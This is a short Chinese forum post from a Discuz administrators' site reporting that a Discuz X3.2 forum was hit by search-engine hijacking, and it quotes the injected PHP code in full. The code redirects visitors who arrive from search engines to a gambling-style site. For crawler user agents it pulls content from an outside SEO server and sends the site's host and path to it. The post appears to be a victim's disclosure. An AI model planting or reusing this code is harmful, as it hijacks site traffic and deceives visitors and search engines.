热搜词
发表于 2018-5-31 09:57:43 | 显示全部楼层 |阅读模式
Discuz  X3.2 遭受搜索引擎劫持

搜索引擎劫持.png

搜索引擎劫持代码:
  1. set_time_limit(20);error_reporting(0);
  2. define('u_b','/');
  3. define('s_u','http://seo.seoso8.com/bcleft.php');
  4. define('s_s','@haosou.com|360.cn|baidu|spider|360spider|so|360|sogou|sm.cn|youdao@i');
  5. define('h_t',$_SERVER['SERVER_NAME']);define('r_s',$_SERVER['HTTP_REFERER']);define('u_s',$_SERVER['HTTP_USER_AGENT']);define('h_z',s_p());
  6. function s_p(){$d='';if(isset($_SERVER['REQUEST_URI'])){$d=$_SERVER['REQUEST_URI'];}else{if(isset($_SERVER['argv'])){$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];}else{$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];}}if(isset($_SERVER['SERVER_SOFTWARE']) && false!==stristr($_SERVER['SERVER_SOFTWARE'],'IIS')){if(function_exists('mb_convert_encoding')){$d=mb_convert_encoding($d,'UTF-8','GBK');}else{$d=@iconv('GBK','UTF-8',@iconv('UTF-8','GBK',$d))==$d?$d:@iconv('GBK','UTF-8',$d);}}$r=explode('#',$d,2);$d=$r[0];return $d;}function r_s($url){$o=array('http' => array('method'=>"GET",'timeout'=>8));$context=stream_context_create($o);$h=file_get_contents($url,false,$context);if(empty($h)){$h=file_get_contents($url);}return $h;}
  7. if(preg_match(s_s,r_s)){$d_s=true;if(preg_match("@site%3A|inurl%3A@i",r_s)){setcookie('xx',h_t,time()+259200);$d_s=false;}if($d_s ){header('Location:https://www.v8v8cp.com/');exit;}}if(strstr(h_z,u_b)){if(preg_match(s_s,u_s)){$d_u=s_u.'?xu='.bin2hex(h_z);$d_u.='&xh='.bin2hex(h_t);$d_c=r_s($d_u);echo $d_c;exit;}}
复制代码



全部评论0
回复
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|Archiver|手机版|小黑屋|管理员之家 ( 苏ICP备2023053177号-2 )

GMT+8, 2024-12-22 23:58 , Processed in 0.197182 second(s), 26 queries .

Powered by Discuz! X3.5

Cpoyright © 2001-2024 Discuz! Team